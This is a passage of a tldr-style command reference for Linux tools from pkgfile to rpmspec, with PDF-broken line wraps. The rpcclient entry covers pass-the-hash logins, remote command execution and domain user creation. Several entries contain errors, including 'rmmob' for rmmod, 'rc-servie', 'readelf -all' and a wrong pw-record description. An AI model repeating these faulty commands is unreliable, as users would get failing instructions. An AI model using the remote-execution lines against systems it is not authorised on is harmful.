See also pacman files, describing the usage of pacman --files.

More information: https://man.archlinux.org/man/extra/pkgfile/pkgfile.1.

• Synchronize the pkgfile database:

sudo pkgfile --update

• Search for a package that owns a specific file:

pkgfile {{filename}}

• List all files provided by a package:

pkgfile --list {{package_name}}

• List only files provided by a package located within the bin or sbin directory:

pkgfile --list --binaries {{package_name}}

• Search for a package that owns a specific file using case-insensitive matching:

pkgfile --ignorecase {{filename}}

• Search for a package that owns a specific file in the bin or sbin directory:

pkgfile --binaries {{filename}}

• Search for a package that owns a specific file, displaying the package version:

pkgfile --verbose {{filename}}

• Search for a package that owns a specific file in a specific repository:

pkgfile --repo {{repository_name}} {{filename}}


pkginfo
Query the package database on a CRUX system.

More information: https://crux.nu/Main/Handbook3-6#ntoc19.

• List installed packages and their versions:

pkginfo -i

• List files owned by a package:

pkginfo -l {{package_name}}

• List the owner(s) of files matching a pattern:

pkginfo -o {{pattern}}

• Print the footprint of a file:

pkginfo -f {{file}}
pkgmk
Make a binary package for use with pkgadd on CRUX.

• Make and download a package:

pkgmk -d

• Install the package after making it:

pkgmk -d -i

• Upgrade the package after making it:

pkgmk -d -u

• Ignore the footprint when making a package:

pkgmk -d -if

• Ignore the MD5 sum when making a package:

pkgmk -d -im

• Update the package's footprint:

pkgmk -uf
pkgrm
Remove a package from a CRUX system.

• Remove an installed package:

pkgrm {{package_name}}
playerctl
Utility to control different media players.

More information: https://github.com/altdesktop/playerctl.

• Toggle play:

playerctl play-pause

• Next media:

playerctl next

• Previous media:

playerctl previous

• List all players:

playerctl --list-all

• Send a command to a specific player:

playerctl --player={{player_name}} {{command}}

• Send a command to all players:

playerctl --all-players {{command}}

• Show now playing:

playerctl metadata --format "Now playing: {{artist}} -


{{album}} - {{title}}"
pmount
Mount arbitrary hotpluggable devices as a normal user.

More information: https://manned.org/pmount.

• Mount a device below /media/ (using device as mount point):

pmount {{/dev/to/block/device}}

• Mount a device with a specific filesystem type to /media/label:

pmount --type {{filesystem}} {{/dev/to/block/device}}


{{label}}

• Mount a CD-ROM (filesystem type ISO9660) in read-only mode:

pmount --type {{iso9660}} --read-only {{/dev/cdrom}}

• Mount an NTFS-formatted disk, forcing read-write access:

pmount --type {{ntfs}} --read-write {{/dev/sdX}}

• Display all mounted removable devices:

pmount
po4a-gettextize
Convert a file to a PO file.

More information: https://po4a.org/man/man1/po4a-gettextize.1.php.

• Convert a text file to PO file:

po4a-gettextize --format {{text}} --master {{path/to/


master.txt}} --po {{path/to/result.po}}

• Get a list of available formats:

po4a-gettextize --help-format

• Convert a text file along with a translated document to a PO file (-l option can be
provied multiple times):

po4a-gettextize --format {{text}} --master {{path/to/


master.txt}} --localized {{path/to/translated.txt}} --po
{{path/to/result.po}}
po4a-translate
Convert a PO file back to documentation format.

The provided PO file should be the translation of the POT file which was produced by
po4a-gettextize.

More information: https://po4a.org/man/man1/po4a-translate.1.php.

• Convert a translated PO file back to a document:

po4a-translate --format {{text}} --master {{path/to/


master.doc}} --po {{path/to/result.po}} --localized {{path/
to/translated.txt}}

• Get a list of available formats:

po4a-translate --help-format
po4a-updatepo
Update the translation (in PO format) of a documentation.

More information: https://po4a.org/man/man1/po4a-updatepo.1.php.

• Update a PO file according to the modification of its origin file:

po4a-updatepo --format {{text}} --master {{path/to/


master.txt}} --po {{path/to/result.po}}

• Get a list of available formats:

po4a-updatepo --help-format

• Update several PO files according to the modification of their origin file:

po4a-updatepo --format {{text}} --master {{path/to/


master.txt}} --po {{path/to/po1.po}} --po {{path/to/po2.po}}
po4a
Update both PO files and translated documents.

More information: https://po4a.org/man/man1/po4a.1.php.

• Update PO files and documents according to the specified config file:

po4a {{path/to/config_file}}
ports
Update/list the ports tree on a CRUX system.

• Update the ports tree:

ports -u

• List the ports in the current tree:

ports -l

• Check the differences between installed packages and the ports tree:

ports -d
postfix
Postfix mail transfer agent (MTA) control program.

See also dovecot, a mail delivery agent (MDA) that integrates with Postfix.

More information: http://www.postfix.org.

• Check the configuration:

sudo postfix check

• Check the status of the Postfix daemon:

sudo postfix status

• Start Postfix:

sudo postfix start

• Gracefully stop Postfix:

sudo postfix stop

• Flush the mail queue:

sudo postfix flush

• Reload the configuration files:

sudo postfix reload


poweroff
Power off the system.

More information: https://www.man7.org/linux/man-pages/man8/poweroff.8.html.

• Power off the system:

poweroff

• Halt the system (same as halt):

poweroff --halt

• Reboot the system (same as reboot):

poweroff --reboot

• Shut down immediately without contacting the system manager:

poweroff --force --force

• Write the wtmp shutdown entry without shutting down the system:

poweroff --wtmp-only
powerprofilesctl
Make power profiles handling available over D-Bus.

More information: https://gitlab.freedesktop.org/hadess/power-profiles-daemon/.

• List available power profiles:

powerprofilesctl list

• Set a specific power profile:

powerprofilesctl set {{profile_name}}


powerstat
Measures the power consumption of a computer that has a battery power source or
supports the RAPL interface.

More information: https://manned.org/powerstat.

• Measure power with the default of 10 samples with an interval of 10 seconds:

powerstat

• Measure power with custom number of samples and interval duration:

powerstat {{interval}} {{number_of_samples}}

• Measure power using Intel's RAPL interface:

powerstat -R {{interval}} {{number_of_samples}}

• Show a histogram of the power measurements:

powerstat -H {{interval}} {{number_of_samples}}

• Enable all statistics gathering options:

powerstat -a {{interval}} {{number_of_samples}}


powertop
Optimize battery power usage.

More information: https://github.com/fenrus75/powertop.

• Calibrate power usage measurements:

sudo powertop --calibrate

• Generate HTML power usage report in the current directory:

sudo powertop --html={{power_report.html}}

• Tune to optimal settings:

sudo powertop --auto-tune


rename
Rename multiple files.

NOTE: this page refers to the command from the prename Fedora package.

• Rename files using a Perl Common Regular Expression (substitute 'foo' with 'bar'
wherever found):

rename {{'s/foo/bar/'}} {{*}}

• Dry-run - display which renames would occur without performing them:

rename -n {{'s/foo/bar/'}} {{*}}

• Force renaming even if the operation would remove existing destination files:

rename -f {{'s/foo/bar/'}} {{*}}

• Convert filenames to lower case (use -f in case-insensitive filesystems to prevent


"already exists" errors):

rename 'y/A-Z/a-z/' {{*}}

• Replace whitespace with underscores:

rename 's/\s+/_/g' {{*}}


pridecat
Like cat but more colorful :).

More information: https://github.com/lunasorcery/pridecat.

• Print the contents of a file in pride colors to the standard output:

pridecat {{file}}

• Print contents of a file in trans colors:

pridecat {{file}} --{{transgender|trans}}

• Alternate between lesbian and bisexual pride flags:

pridecat {{file}} --lesbian --bi

• Print contents of a file with the background colors changed:

pridecat {{file}} -b

• List directory contents in pride flag colors:

ls | pridecat --{{flag}}
print
An alias to a run-mailcap's action print.

Originally run-mailcap is used to process mime-type/file.

• Print action can be used to print any file on default run-mailcap tool:

print {{filename}}

• With run-mailcap:

run-mailcap --action=print {{filename}}


prlimit
Get or set process resource soft and hard limits.

Given a process ID and one or more resources, prlimit tries to retrieve and/or modify the
limits.

More information: https://manned.org/prlimit.

• Display limit values for all current resources for the running parent process:

prlimit

• Display limit values for all current resources of a specified process:

prlimit --pid {{pid number}}

• Run a command with a custom number of open files limit:

prlimit --nofile={{10}} {{command}}


procs
Display information about the active processes.

More information: https://github.com/dalance/procs.

• List all processes showing the PID, user, CPU usage, memory usage, and the
command which started them:

procs

• Show information about processes, if the commands which started them contain
zsh:

procs {{zsh}}

• Show information about all processes sorted by CPU time in [a]scending or


[d]escending order:

procs {{--sortd|--sorta}} cpu

• Show information about processes with either a PID, command, or user containing
(zsh or firefox):

procs --or {{PID|command|user}} {{41}} {{firefox}}

• Show information about processes with both PID 41 and a command or user
containing zsh:

procs --and {{41}} {{zsh}}


progress
Display/Monitor the progress of running coreutils.

More information: https://github.com/Xfennec/progress.

• Show the progress of running coreutils:

progress

• Show the progress of running coreutils in quiet mode:

progress -q

• Launch and monitor a single long-running command:

{{command}} & progress -mp $!


protontricks
A simple wrapper that does Winetricks things for Proton enabled games, requires
Winetricks.

More information: https://github.com/Matoking/protontricks.

• Show the protontricks help message:

protontricks

• Run the protontricks GUI:

protontricks --gui

• Run Winetricks for a specific game:

protontricks {{appid}} {{winetricks_args}}

• Run a command within a game's installation directory:

protontricks -c {{command}} {{appid}}


protonvpn-cli connect
Official client to connect to ProtonVPN from the command-line.

More information: https://protonvpn.com/support/linux-vpn-setup/.

• Connect to ProtonVPN interactively:

protonvpn-cli connect

• Connect to ProtonVPN using the fastest server available:

protonvpn-cli connect --fastest

• Connect to ProtonVPN using a specific server with a specific protocol:

protonvpn-cli connect {{server_name}} --protocol {{udp|tcp}}

• Connect to ProtonVPN using a random server with a specific protocol:

protonvpn-cli connect --random --protocol {{udp|tcp}}

• Connect to ProtonVPN using the fastest Tor-supporting server:

protonvpn-cli connect --tor

• Display help:

protonvpn-cli connect --help


protonvpn-cli
Official client for ProtonVPN service from the command-line.

More information: https://github.com/ProtonVPN/linux-cli.

• Log in to the ProtonVPN account:

protonvpn-cli login {{username}}

• Start a kill switch upon connecting to ProtonVPN:

protonvpn-cli killswitch --on

• Connect to ProtonVPN interactively:

protonvpn-cli connect

• Display connection status:

protonvpn-cli status

• Block malware using ProtonVPN NetShield:

protonvpn-cli netshield --malware

• Disconnect from ProtonVPN:

protonvpn-cli disconnect

• Display the current ProtonVPN configuration:

protonvpn-cli config --list

• Display help for a subcommand:

protonvpn-cli {{subcommand}} --help


prt-get
The CRUX package manager.

• Install a package:

prt-get install {{package_name}}

• Install a package with dependency handling:

prt-get depinst {{package_name}}

• Update a package manually:

prt-get upgrade {{package_name}}

• Remove a package:

prt-get remove {{package_name}}

• Upgrade the system from the local ports tree:

prt-get sysup

• Search the ports tree:

prt-get search {{package_name}}

• Search for a file in a package:

prt-get fsearch {{file}}


pstree
A convenient tool to show running processes as a tree.

More information: https://manned.org/pstree.

• Display a tree of processes:

pstree

• Display a tree of processes with PIDs:

pstree -p

• Display all process trees rooted at processes owned by specified user:

pstree {{user}}
ptx
Generate a permuted index of words from one or more text files.

More information: https://www.gnu.org/software/coreutils/ptx.

• Generate a permuted index where the first field of each line is an index reference:

ptx --references {{path/to/file}}

• Generate a permuted index with automatically generated index references:

ptx --auto-reference {{path/to/file}}

• Generate a permuted index with a fixed width:

ptx --width={{width_in_columns}} {{path/to/file}}

• Generate a permuted index with a list of filtered words:

ptx --only-file={{path/to/filter}} {{path/to/file}}

• Generate a permuted index with SYSV-style behaviors:

ptx --traditional {{path/to/file}}


pulseaudio
The PulseAudio sound system daemon and manager.

More information: https://www.freedesktop.org/wiki/Software/PulseAudio/.

• Check if PulseAudio is running (a non-zero exit code means it is not running):

pulseaudio --check

• Start the PulseAudio daemon in the background:

pulseaudio --start

• Kill the running PulseAudio daemon:

pulseaudio --kill

• List available modules:

pulseaudio --dump-modules

• Load a module into the currently running daemon with the specified arguments:

pulseaudio --load="{{module_name}} {{arguments}}"


pvcreate
Initialize a disk or partition for use as a physical volume.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/pvcreate.8.html.

• Initialize the /dev/sda1 volume for use by LVM:

pvcreate {{/dev/sda1}}

• Force the creation without any confirmation prompts:

pvcreate --force {{/dev/sda1}}


pvdisplay
Display information about Logical Volume Manager (LVM) physical volumes.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/pvdisplay.8.html.

• Display information about all physical volumes:

sudo pvdisplay

• Display information about the physical volume on drive /dev/sdXY:

sudo pvdisplay {{/dev/sdXY}}


pvs
Display information about physical volumes.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/pvs.8.html.

• Display information about physical volumes:

pvs

• Display non-physical volumes:

pvs -a

• Change default display to show more details:

pvs -v

• Display only specific fields:

pvs -o {{field_name_1}},{{field_name_2}}

• Append field to default display:

pvs -o +{{field_name}}

• Suppress heading line:

pvs --noheadings

• Use separator to separate fields:

pvs --separator {{special_character}}


pw-cat
Pipewire tool for playing and recording audio files.

More information: https://fedoraproject.org/wiki/QA:Testcase_PipeWire_PipeWire_CLI.

• List all available playback targets:

pw-cat --playback --list-targets

• Play a WAV file over the default target:

pw-cat --playback {{path/to/file.wav}}

• List all available record targets:

pw-cat --record --list-targets

• Record a sample recording at a different volume level:

pw-cat --record --volume={{0.1}} {{path/to/file.wav}}

• Record a sample recording using a different sample rate:

pw-cat --record --rate={{6000}} {{path/to/file.wav}}


pw-loopback
Tool for creating loopback devices in pipewire.

More information: https://gitlab.freedesktop.org/pipewire/pipewire/-/wikis/Virtual-


Devices.

• Create a loopback device with the default loopback behavior:

pw-loopback

• Create a loopback device that automatically connects to the speakers:

pw-loopback -m '{{[FL FR]}}' --capture-


props='{{media.class=Audio/Sink}}'

• Create a loopback device that automatically connects to the microphone:

pw-loopback -m '{{[FL FR]}}' --playback-


props='{{media.class=Audio/Source}}'

• Create a dummy loopback device that doesn't automatically connect to anything:

pw-loopback -m '{{[FL FR]}}' --capture-


props='{{media.class=Audio/Sink}}' --playback-
props='{{media.class=Audio/Source}}'

• Create a loopback device that automatically connects to the speakers and swaps
the left and right channels between the sink and source:

pw-loopback --capture-props='{{media.class=Audio/Sink
audio.position=[FL FR]}}' --playback-
props='{{audio.position=[FR FL]}}'

• Create a loopback device that automatically connects to the microphone and


swaps the left and right channels between the sink and source:

pw-loopback --capture-props='{{audio.position=[FR FL]}}' --


playback-props='{{media.class=Audio/Source audio.position=[FL
FR]}}'
pw-play
Shorthand tool for pw-cat --playback.

More information: https://fedoraproject.org/wiki/QA:Testcase_PipeWire_PipeWire_CLI.

• List all available playback targets:

pw-play --list-targets

• Play a wav sound file over the default target:

pw-play {{path/to/file.wav}}

• Play a wav sound file at a different volume level:

pw-play --volume={{0.1}} {{path/to/file.wav}}


pw-record
Shorthand tool for pw-cat --playback.

More information: https://fedoraproject.org/wiki/QA:Testcase_PipeWire_PipeWire_CLI.

• List all available record targets:

pw-record --list-targets

• Record a sample recording using the default target:

pw-record {{path/to/file.wav}}

• Record a sample recording at a different volume level:

pw-record --volume={{0.1}} {{path/to/file.wav}}

• Record a sample recording using a different sample rate:

pw-record --rate={{6000}} {{path/to/file.wav}}


pwdx
Print working directory of a process.

• Print current working directory of a process:

pwdx {{process_id}}
qjoypad
Translate input from gamepads or joysticks into keyboard strokes or mouse actions.

More information: http://qjoypad.sourceforge.net/.

• Start QJoyPad:

qjoypad

• Start QJoyPad and look for devices in a specific directory:

qjoypad --device={{path/to/directory}}

• Start QJoyPad but don't show a system tray icon:

qjoypad --notray

• Start QJoyPad and force the window manager to use a system tray icon:

qjoypad --force-tray

• Force a running instance of QJoyPad to update its list of devices and layouts:

qjoypad --update

• Load the given layout in an already running instance of QJoyPad, or start QJoyPad
using the given layout:

qjoypad "{{layout}}"
qm
Qemu/KVM Virtual Machine Manager.

More information: https://pve.proxmox.com/pve-docs/qm.1.html.

• List all virtual machines:

qm list

• Using an ISO file uploaded on the local storage, create a virtual machine with a 4
GB IDE disk on the local-lvm storage and an ID of 100:

qm create {{100}} -ide0 {{local-lvm:4}} -net0 {{e1000}} -


cdrom {{local:iso/proxmox-mailgateway_2.1.iso}}

• Show the configuration of a virtual machine, specifying its ID:

qm config {{100}}

• Start a specific virtual machine:

qm start {{100}}

• Send a shutdown request, then wait until the virtual machine is stopped:

qm shutdown {{100}} && qm wait {{100}}

• Destroy a virtual machine and remove all related resources:

qm destroy {{100}} --purge


qmrestore
Restore QemuServer vzdump Backups.

More information: https://pve.proxmox.com/pve-docs/qmrestore.1.html.

• Restore KVM-based virtual machine to local storage:

qmrestore {{/var/lib/vz/dump/backup_file.vma.lzo}} {{vm_id}}


--storage {{local}}
qsub
Submits a script to the queue management system TORQUE.

• Submit a script with default settings (depends on TORQUE settings):

qsub {{script.sh}}

• Submit a script with a specified wallclock runtime limit of 1 hour, 2 minutes and 3
seconds:

qsub -l walltime={{1}}:{{2}}:{{3}} {{script.sh}}

• Submit a script that is executed on 2 nodes using 4 cores per node:

qsub -l nodes={{2}}:ppn={{4}} {{script.sh}}

• Submit a script to a specific queue. Note that different queues can have different
maximum and minimum runtime limits:

qsub -q {{queue_name}} {{script.sh}}


qtchooser
A wrapper used to select between Qt development binary versions.

More information: https://manned.org/qtchooser.

• List available Qt versions from the configuration files:

qtchooser --list-versions

• Print environment information:

qtchooser --print-env

• Run the specified tool using the specified Qt version:

qtchooser --run-tool={{tool}} --qt={{version_name}}

• Add a Qt version entry to be able to choose from:

qtchooser --install {{version_name}} {{path/to/qmake}}

• Display all available options:

qtchooser --help
quotacheck
Scan a filesystem for disk usage; create, check and repair quota files.

It is best to run quota check with quotas turned off to prevent damage or loss to quota
files.

• Check quotas on all mounted non-NFS filesystems:

sudo quotacheck --all

• Force check even if quotas are enabled (this can cause damage or loss to quota
files):

sudo quotacheck --force {{mountpoint}}

• Check quotas on a given filesystem in debug mode:

sudo quotacheck --debug {{mountpoint}}

• Check quotas on a given filesystem, displaying the progress:

sudo quotacheck --verbose {{mountpoint}}

• Check user quotas:

sudo quotacheck --user {{user}} {{mountpoint}}

• Check group quotas:

sudo quotacheck --group {{group}} {{mountpoint}}


radeontop
Show utilisation of AMD GPUs.

May require root privileges depending on your system.

More information: https://github.com/clbr/radeontop.

• Show the utilisation of the default AMD GPU:

radeontop

• Enable colored output:

radeontop --color

• Select a specific GPU (the bus number is the first number in the output of lspci):

radeontop --bus {{bus_number}}

• Specify the display refresh rate (higher means more GPU overhead):

radeontop --ticks {{samples_per_second}}


rankmirrors
Rank a list of Pacman mirrors by connection and opening speed.

Writes the new mirrorlist to stdout.

More information: https://wiki.archlinux.org/index.php/mirrors.

• Rank a mirror list:

rankmirrors {{/etc/pacman.d/mirrorlist}}

• Output only a given number of the top ranking servers:

rankmirrors -n {{number}} {{/etc/pacman.d/mirrorlist}}

• Be verbose when generating the mirrorlist:

rankmirrors -v {{/etc/pacman.d/mirrorlist}}

• Test only a specific URL:

rankmirrors --url {{url}}

• Output only the response times instead of a full mirrorlist:

rankmirrors --times {{/etc/pacman.d/mirrorlist}}


raspi-config
An ncurses terminal GUI to config a Raspberry Pi.

More information: https://www.raspberrypi.org/documentation/computers/


configuration.html.

• Start raspi-config:

sudo raspi-config
raspinfo
Display Raspberry Pi system information.

More information: https://github.com/raspberrypi/utils/tree/master/raspinfo.

• Display system information:

raspinfo
raw
Bind a Unix raw character device.

More information: https://manned.org/raw.8.

• Bind a raw character device to a block device:

raw /dev/raw/raw{{1}} {{/dev/block_device}}

• Query an existing binding instead of setting a new one:

raw /dev/raw/raw{{1}}

• Query all bound raw devices:

raw -qa
rc-service
Locate and run OpenRC services with arguments.

See also openrc.

• Show a service's status:

rc-service {{service_name}} status

• Start a service:

sudo rc-service {{service_name}} start

• Stop a service:

sudo rc-servie {{service_name}} stop

• Restart a service:

sudo rc-service {{service_name}} restart

• Simulate running a service's custom command:

sudo rc-service --dry-run {{service_name}} {{command_name}}

• Actually run a service's custom command:

sudo rc-service {{service_name}} {{command_name}}

• Resolve the location of a service definition on disk:

sudo rc-service --resolve {{service_name}}


rc-status
Show status info about runlevels.

See also openrc.

• Show a summary of services and their status:

rc-status

• Include services in all runlevels in the summary:

rc-status --all

• List services that have crashed:

rc-status --crashed

• List manually started services:

rc-status --manual

• List supervised services:

rc-status --supervised

• Get the current runlevel:

rc-status --runlevel

• List all runlevels:

rc-status --list
rc-update
Add and remove OpenRC services to and from runlevels.

See also openrc.

• List all services and the runlevels they are added to:

rc-update show

• Add a service to a runlevel:

sudo rc-update add {{service_name}} {{runlevel}}

• Delete a service from a runlevel:

sudo rc-update delete {{service_name}} {{runlevel}}

• Delete a service from all runlevels:

sudo rc-update --all delete {{service_name}}


rdesktop
Remote Desktop Protocol client.

It can be used to connect the remote computer using the RDP protocol.

• Connect to a remote computer (default port is 3389):

rdesktop -u {{username}} -p {{password}} {{host:port}}

• Simple Examples:

rdesktop -u Administrator -p passwd123 192.168.1.111:3389

• Connect to a remote computer with full screen (press Ctrl + Alt + Enter to
exist):

rdesktop -u {{username}} -p {{password}} -f {{host:port}}

• Use the customed resolution (use the letter 'x' between the number):

rdesktop -u {{username}} -p {{password}} -g 1366x768


{{host:port}}

• Connect to a remote computer using domain user:

rdesktop -u {{username}} -p {{password}} -d {{domainname}}


{{host:port}}

• Use the 16-bit color (speed up):

rdesktop -u {{username}} -p {{password}} -a 16 {{host:port}}


readelf
Displays information about ELF files.

More information: http://man7.org/linux/man-pages/man1/readelf.1.html.

• Display all information about the ELF file:

readelf -all {{path/to/binary}}

• Display all the headers present in the ELF file:

readelf --headers {{path/to/binary}}

• Display the entries in symbol table section of the ELF file, if it has one:

readelf --symbols {{path/to/binary}}

• Display the information contained in the ELF header at the start of the file:

readelf --file-header {{path/to/binary}}


readpe
Displays information about PE files.

More information: https://manned.org/readpe.

• Display all information about a PE file:

readpe {{path/to/executable}}

• Display all the headers present in a PE file:

readpe --all-headers {{path/to/executable}}

• Display all the sections present in a PE file:

readpe --all-sections {{path/to/executable}}

• Display a specific header from a PE file:

readpe --header {{dos|coff|optional}} {{path/to/executable}}

• List all imported functions:

readpe --imports {{path/to/executable}}

• List all exported functions:

readpe --exports {{path/to/executable}}


reboot
Reboot the system.

More information: https://www.man7.org/linux/man-pages/man8/reboot.8.html.

• Reboot the system:

reboot

• Power off the system (same as poweroff):

reboot --poweroff

• Halt the system (same as halt):

reboot --halt

• Reboot immediately without contacting the system manager:

reboot --force --force

• Write the wtmp shutdown entry without rebooting the system:

reboot --wtmp-only
reflector
Arch script to fetch and sort mirrorlists.

• Get all mirrors, sort for download speed and save them:

sudo reflector --sort {{rate}} --save {{/etc/pacman.d/


mirrorlist}}

• Only get German HTTPS mirrors:

reflector --country {{Germany}} --protocol {{https}}

• Only get the 10 recently sync'd mirrors:

reflector --latest {{10}}


rename
Rename multiple files.

NOTE: this page refers to the command from the util-linux package.

For the Perl version, see file-rename or perl-rename.

Warning: This command has no safeguards and will overwrite files without prompting.

• Rename files using simple substitutions (substitute 'foo' with 'bar' wherever
found):

rename {{foo}} {{bar}} {{*}}

• Dry-run - display which renames would occur without performing them:

rename -vn {{foo}} {{bar}} {{*}}

• Do not overwrite existing files:

rename -o {{foo}} {{bar}} {{*}}

• Change file extensions:

rename {{.ext}} {{.bak}} {{*.ext}}

• Prepend "foo" to all filenames in the current directory:

rename {{''}} {{'foo'}} {{*}}

• Rename a group of increasingly numbered files zero-padding the numbers up to 3


digits:

rename {{foo}} {{foo00}} {{foo?}} && rename {{foo}} {{foo0}}


{{foo??}}
repo-add
Package database maintenance utility which enables installation of said package via
Pacman.

More information: https://man.archlinux.org/man/repo-add.

• Add all package binaries in the current directory and remove the old database file:

repo-add --remove {{path/to/database.db.tar.gz}}


{{*.pkg.tar.zst}}

• Add all package binaries in the current directory in silent mode except for warning
and error messages:

repo-add --quiet {{path/to/database.db.tar.gz}}


{{*.pkg.tar.zst}}

• Add all package binaries in the current directory without showing color:

repo-add --nocolor {{path/to/database.db.tar.gz}}


{{*.pkg.tar.zst}}
reportbug
Bug report tool of Debian distribution.

More information: https://manpages.debian.org/latest/reportbug/reportbug.html.

• Generate a bug report about a specific package, then send it by e-mail:

reportbug {{package}}

• Report a bug that is not about a specific package (general problem, infrastructure,
etc.):

reportbug other

• Write the bug report to a file instead of sending it by e-mail:

reportbug -o {{filename}} {{package}}


repquota
Display a summary of existing file quotas for a filesystem.

• Report stats for all quotas in use:

sudo repquota -all

• Report quota stats for all users, even those who aren't using any of their quota:

sudo repquota -v {{filesystem}}

• Report on quotas for users only:

repquota --user {{filesystem}}

• Report on quotas for groups only:

sudo repquota --group {{filesystem}}

• Report on used quota and limits in a human-readable format:

sudo repquota --human-readable {{filesystem}}

• Report on all quotas for users and groups in a human-readable format:

sudo repquota -augs


reptry
Move a running process to a new terminal.

Best used when you forget to start a long running task in screen.

More information: https://github.com/nelhage/reptyr.

• Move a running process to your current terminal:

reptyr {{pid}}
reset
Reinitialises the current terminal. Clears the entire terminal screen.

• Reinitialise the current terminal:

reset

• Display the terminal type instead:

reset -q
resize2fs
Resize an ext2, ext3 or ext4 filesystem.

Does not resize the underlying partition. The filesystem may have to be unmounted
first, read the man page for more details.

• Automatically resize a filesystem:

resize2fs {{/dev/sdXN}}

• Resize the filesystem to a size of 40G, displaying a progress bar:

resize2fs -p {{/dev/sdXN}} {{40G}}

• Shrink the filesystem to its minimum possible size:

resize2fs -M {{/dev/sdXN}}
resolvectl
Resolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services.

Introspect and reconfigure the DNS resolver.

More information: https://www.freedesktop.org/software/systemd/man/resolvectl.html.

• Show DNS settings:

resolvectl status

• Resolve the IPv4 and IPv6 addresses for one or more domains:

resolvectl query {{domain1 domain2 ...}}

• Retrieve the domain of a specified IP:

resolvectl query {{ip_address}}

• Retrieve an MX record of domain:

resolvectl --legend={{no}} --type={{MX}} query {{domain}}

• Resolve an SRV record, for example _xmpp-server._tcp gmail.com:

resolvectl service _{{service}}._{{protocol}} {{name}}

• Retrieve the public key from an email address from an OPENPGPKEY DNS record:

resolvectl opengpg {{email}}

• Retreive a TLS key:

resolvectl tlsa tcp {{domain}}:443


resolveip
Resolve hostnames to their IP addresses and vice versa.

More information: https://mariadb.com/kb/en/resolveip/.

• Resolve a hostname to an IP address:

resolveip {{example.org}}

• Resolve an IP address to a hostname:

resolveip {{1.1.1.1}}

• Silent mode. Produces less output:

resolveip --silent {{example.org}}


rfkill
Enable and disable wireless devices.

• List devices:

rfkill

• Filter by columns:

rfkill -o {{ID,TYPE,DEVICE}}

• Block devices by type (e.g. bluetooth, wlan):

rfkill block {{bluetooth}}

• Unblock devices by type (e.g. bluetooth, wlan):

rfkill unblock {{wlan}}

• Output in JSON format:

rfkill -J
rgrep
Recursively find patterns in files using regular expressions.

Equivalent to grep -r.

More information: https://www.gnu.org/software/grep/manual/grep.html.

• Recursively search for a pattern in the current working directory:

rgrep "{{search_pattern}}"

• Recursively search for a case-insensitive pattern in the current working directory:

rgrep --ignore-case "{{search_pattern}}"

• Recursively search for an extended regular expression pattern (supports ?, +, {},


() and |) in the current working directory:

rgrep --extended-regexp "{{search_pattern}}"

• Recursively search for an exact string (disables regular expressions) in the current
working directory:

rgrep --fixed-strings "{{exact_string}}"

• Recursively search for a pattern in a specified directory (or file):

rgrep "{{search_pattern}}" {{path/to/file_or_directory}}


rig
Utility to piece together a random first name, last name, street number and address,
along with a geographically consistent (ie, they all match the same area) city, state, ZIP
code, and area code.

More information: https://manned.org/rig.

• Display a random name (male or female) and address:

rig

• Display a [m]ale (or [f]emale) random name and address:

rig -{{m|f}}

• Use data files from a specific directory (default is /usr/share/rig):

rig -d {{path/to/directory}}

• Display a specific number of identities:

rig -c {{number}}

• Display a specific number of female identities:

rig -f -c {{number}}
rmmod
Remove modules from the Linux kernel.

More information: https://manned.org/rmmod.

• Remove a module from the kernel:

sudo rmmob {{module_name}}

• Remove a module from the kernel and display verbose information:

sudo rmmob --verbose {{module_name}}

• Remove a module from the kernel and send errors to syslog instead of standard
error:

sudo rmmob --syslog {{module_name}}

• Display help:

rmmob --help

• Display version:

rmmob --version
rofi
An application launcher and window switcher.

More information: https://github.com/davatorium/rofi.

• Show the list of apps:

rofi -show drun

• Show the list of all commands:

rofi -show run

• Switch between windows:

rofi -show window

• Pipe a list of items to stdin and print the selected item to stdout:

printf "{{Choice1\nChoice2\nChoice3}}" | rofi -dmenu


rolldice
Roll virtual dice.

More information: https://manned.org/rolldice.

• Roll a single 20 sided dice:

rolldice d{{20}}

• Roll two six sided dice and drop the lowest roll:

rolldice {{2}}d{{6}}s{{1}}

• Roll two 20 sided dice and add a modifier value:

rolldice {{2}}d{{20}}{{+5}}

• Roll a 20 sided dice two times:

rolldice {{2}}xd{{20}}
rpcclient
MS-RPC client tool (part of the samba suite).

More information: https://www.samba.org/samba/docs/current/man-html/rpcclient.


1.html.

• Connect to a remote host:

rpcclient --user {{domain}}\{{username}}%{{password}} {{ip}}

• Connect to a remote host on a domain without a password:

rpcclient --user {{username}} --workgroup {{domain}} --no-


pass {{ip}}

• Connect to a remote host, passing the password hash:

rpcclient --user {{domain}}\{{username}} --pw-nt-hash {{ip}}

• Execute shell commands on a remote host:

rpcclient --user {{domain}}\{{username}}%{{password}} --


command {{semicolon_separated_commands}} {{ip}}

• Display domain users:

rpcclient $> enumdomusers

• Display privileges:

rpcclient $> enumprivs

• Display information about a specific user:

rpcclient $> queryuser {{username|rid}}

• Create a new user in the domain:

rpcclient $> createdomuser {{username}}


rpcinfo
Makes an RPC call to an RPC server and reports what it finds.

• Show full table of all RPC services registered on localhost:

rpcinfo

• Show concise table of all RPC services registered on localhost:

rpcinfo -s {{localhost}}

• Display table of statistics of rpcbind operations on localhost:

rpcinfo -m

• Display list of entries of given service name (mountd) and version number (2) on a
remote nfs share:

rpcinfo -l {{remote_nfs_server_ip}} {{mountd}} {{2}}

• Delete the registration for version 1 of the mountd service for all transports:

rpcinfo -d {{mountd}} {{1}}


rpm
RPM Package Manager.

More information: https://rpm.org/.

• Show version of httpd package:

rpm -q {{httpd}}

• List versions of all matching packages:

rpm -qa '{{mariadb*}}'

• Forcibly install a package regardless of currently installed versions:

rpm -U {{package_name.rpm}} --force

• Identify owner of a file and show version of the package:

rpm -qf {{/etc/postfix/main.cf}}

• List package-owned files:

rpm -ql {{kernel}}

• Show scriptlets from an RPM file:

rpm -qp --scripts {{package_name.rpm}}

• Show changed, missing and/or incorrectly installed files of matching packages:

rpm -Va '{{php-*}}'


rpmbuild
RPM Package Build tool.

More information: https://docs.fedoraproject.org/en-US/quick-docs/creating-rpm-


packages/.

• Build binary and source packages:

rpmbuild -ba {{path/to/spec_file}}

• Build a binary package without source package:

rpmbuild -bb {{path/to/spec_file}}

• Specify additional variables when building a package:

rpmbuild -bb {{path/to/spec_file}} --define "{{variable1}}


{{value1}}" --define "{{variable2}} {{value2}}"
rpmspec
Query a RPM spec file.

More information: https://manned.org/rpmspec.

• List binary packages which would be generated from a rpm spec file:

rpmspec --query {{path/to/rpm.spec}}

